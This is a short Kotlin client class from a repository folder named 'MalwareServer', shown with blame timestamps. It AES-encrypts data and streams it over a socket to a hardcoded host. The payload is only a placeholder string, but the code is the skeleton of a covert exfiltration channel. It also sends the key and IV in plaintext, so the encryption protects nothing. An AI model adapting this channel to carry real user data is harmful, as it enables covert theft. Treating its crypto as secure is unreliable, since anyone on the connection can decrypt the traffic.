MalwareServer/Connect.kt

86 lines
3.0 KiB
Kotlin
Raw Normal View History

2024-04-30 16:27:44 +02:00
package com.ti.mobpo.ui.util
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext
import java.io.BufferedReader
import java.io.InputStreamReader
import java.io.PrintWriter
import java.net.Socket
import java.security.SecureRandom
import javax.crypto.Cipher
import javax.crypto.spec.IvParameterSpec
import javax.crypto.spec.SecretKeySpec
class Connect {
companion object {
fun decodeBase64(input: String): ByteArray {
return android.util.Base64.decode(input, android.util.Base64.DEFAULT)
}
fun encodeBase64(input: ByteArray): String {
return android.util.Base64.encodeToString(input, android.util.Base64.DEFAULT)
}
fun decrypt(algorithm: String, cipherText: String, key: SecretKeySpec, iv: IvParameterSpec): String {
val cipher = Cipher.getInstance(algorithm)
cipher.init(Cipher.DECRYPT_MODE, key, iv)
val plainText = cipher.doFinal(decodeBase64(cipherText))
return String(plainText)
}
fun encrypt(algorithm: String, inputText: String, key: SecretKeySpec, iv: IvParameterSpec): String {
val cipher = Cipher.getInstance(algorithm)
cipher.init(Cipher.ENCRYPT_MODE, key, iv)
val cipherText = cipher.doFinal(inputText.toByteArray())
return encodeBase64(cipherText)
}
@OptIn(ExperimentalStdlibApi::class)
suspend fun main() {
val host = "192.168.90.151"
val port = 8080
val secureRandom = SecureRandom()
val keyBytes = ByteArray(16)
val ivBytes = ByteArray(16)
2024-04-30 17:09:14 +02:00
secureRandom.nextBytes(keyBytes)
2024-04-30 16:27:44 +02:00
secureRandom.nextBytes(ivBytes)
2024-04-30 17:09:14 +02:00
val key = SecretKeySpec(keyBytes, "AES")
2024-04-30 16:27:44 +02:00
val iv = IvParameterSpec(ivBytes)
val algorithm = "AES/CBC/PKCS5Padding"
2024-04-30 17:09:14 +02:00
var sendData = "Hello, World!"
val chunkSize = 45
val chunks = sendData.chunked(chunkSize)
2024-04-30 16:27:44 +02:00
withContext(Dispatchers.IO) {
Socket(host, port).use { socket ->
val writer = PrintWriter(socket.getOutputStream(), true)
val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
val encodedKey = encodeBase64(keyBytes)
writer.println(encodedKey)
2024-04-30 17:09:14 +02:00
reader.readLine()
2024-04-30 16:27:44 +02:00
val encodedIV = encodeBase64(ivBytes)
writer.println(encodedIV)
2024-04-30 17:09:14 +02:00
reader.readLine()
2024-04-30 16:27:44 +02:00
2024-04-30 17:09:14 +02:00
for (chunk in chunks) {
val cipherText = encrypt(algorithm, chunk, key, iv)
writer.println(cipherText)
reader.readLine()
}
2024-04-30 16:27:44 +02:00
writer.println("END_OF_COMMUNICATION")
2024-04-30 17:09:14 +02:00
reader.readLine()
2024-04-30 16:27:44 +02:00
println("Client: Ready for next operation")
writer.println("Ready for next operation")
2024-04-30 17:09:14 +02:00
reader.readLine()
2024-04-30 16:27:44 +02:00
}
}
}
}
}